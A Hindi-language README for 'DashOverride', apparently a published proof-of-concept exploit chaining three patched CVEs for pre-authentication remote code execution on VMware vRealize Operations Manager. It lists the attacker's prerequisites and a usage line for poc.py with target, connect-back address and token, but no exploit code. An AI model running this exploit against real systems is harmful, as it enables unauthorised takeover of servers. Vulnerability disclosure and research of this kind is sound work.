DashOverride

क्या

यह VMware vRealize Operations Manager (vROPS) के लिए एक पूर्व-प्रमाणीकृत RCE एक्सप्लॉइट है जो <= 8.6.3.19682901 संस्करणों को प्रभावित करता है।

लेखक

Qihoo 360 Vulnerability Research Institute के Steven Seeley

परीक्षण

इस एक्सप्लॉइट का परीक्षण 8.6.3.19682901 पर vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova फ़ाइल (SHA1: 4637b6385db4fbee6b1150605087197f8d03ba00) का उपयोग करके किया गया था, लेकिन यह अन्य पुराने संस्करणों पर भी काम करने के लिए जाना जाता है।

नोट्स

• यह एक्सप्लॉइट तीन कमजोरियों को जोड़ता है जिन्हें पैच किया गया है। अधिक विवरण ब्लॉग पोस्ट में पाए जा सकते हैं:

  • CVE-2022-31675 - MainPortalFilter ui प्रमाणीकरण बाईपास
  • CVE-2022-31674 - SupportLogAction सूचना प्रकटीकरण
  • CVE-2022-31672 - generateSupportBundle VCOPS_BASE विशेषाधिकार वृद्धि

• इस एक्सप्लॉइट के लिए हमलावर को निम्न प्रदान करना आवश्यक होगा:

  • एक मान्य dashboardlink टोकन जिसका उपयोग प्रमाणीकरण को बायपास करने के लिए किया जाएगा।
  • अपनी स्वयं की SMTP सर्वर सेटिंग्स, यह सुनिश्चित करने के लिए कि शोषण काम करे।
  • VMWare द्वारा हस्ताक्षरित एक मान्य Pak फ़ाइल, जैसे APUAT-8.5.0.18176777.pak।

• इस एक्सप्लॉइट में बहुत सारे गतिशील भाग हैं, उम्मीद है कि मैंने इसे ठीक से इंजीनियर किया है ताकि यह पहली बार में काम करे।

• एक्सप्लॉइट को पूरा होने में औसतन ~1m34.142s लगते हैं (5 बार परीक्षण किया गया), मैंने इसे तेज़ बनाने की कोशिश की, लेकिन यह एक प्रतियोगिता के लिए आवंटित समय के भीतर है ;->

चलाएँ

researcher@mars:~$ ./poc.py 
(+) usage: ./poc.py <target> <connectback> <dashboardlink_token>
(+) eg: ./poc.py 192.168.2.196 192.168.2.234 uuncuybis9

उदाहरण